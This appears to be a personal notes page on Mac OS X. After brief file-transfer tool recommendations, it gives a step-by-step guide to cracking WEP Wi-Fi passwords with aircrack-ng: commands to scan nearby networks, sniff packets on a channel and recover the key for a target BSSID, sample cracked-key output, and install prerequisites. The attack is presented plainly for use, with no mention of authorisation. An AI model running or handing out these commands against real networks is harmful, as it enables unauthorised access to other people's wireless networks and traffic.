Copying on Mac OS X

To copy files on Mac OS X on a remote server can be used FileZilla program, because it uses a secure FTPS protocol. Another good alternative to browsing the file system is e.g. Double Commander (similar to Total Commander) and Midnight Commander.

• https://filezilla-project.org/
• https://doublecmd.sourceforge.io/
• https://midnight-commander.org/

Crack WEP Wi-FI via aircrack-ng in Mac OS X

Display all network interfaces

ifconfig

Display nearby networks with additional parameters

airport -s

Sniff packets on a network interface and a channel, save it to /tmp/airport*.cap

sudo airport {networkInterface} sniff {channel}
e.g. sudo airport en0 sniff 6

Find the password (1 attempt)

aircrack-ng -1 -a 1 -b {bsid} {filepath}
e.g. aircrack-ng -1 -a 1 -b 00:02:72:UV:WX:YZ /tmp/airportSniffVO0t4J.cap

Founded passwords:

AP-HOME 00:02:72:UV:WX:YZ -78  13      N  -- WEP
[ 01:23:45:67:89 ] (ASCII: PASSWORD )   [02:05:34] Tested 199 keys (got 15014 IVs)

Prerequisites

1. Install Macports.
2. Install aircrack-ng:

   sudo port install aircrack-ng

3. Install the latest Xcode, with the Command Line Tools.
4. Create the following symlink:

   sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport

5. Figure out which channel you need to sniff:

   sudo airport -s
   sudo airport en1 sniff [CHANNEL]

6. New Terminal Window

   aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]
   //Notes: the cap_file will be located in the /tmp/airportSniff*.cap

Ref: Jason4Zhu: Way To Crack WEP Wifi Via Aircrack-ng In Mac OSX - http://jason4zhu.blogspot.cz/2014/12/crack-wep-wifi-via-aircrack-ng-in-mac-osx.html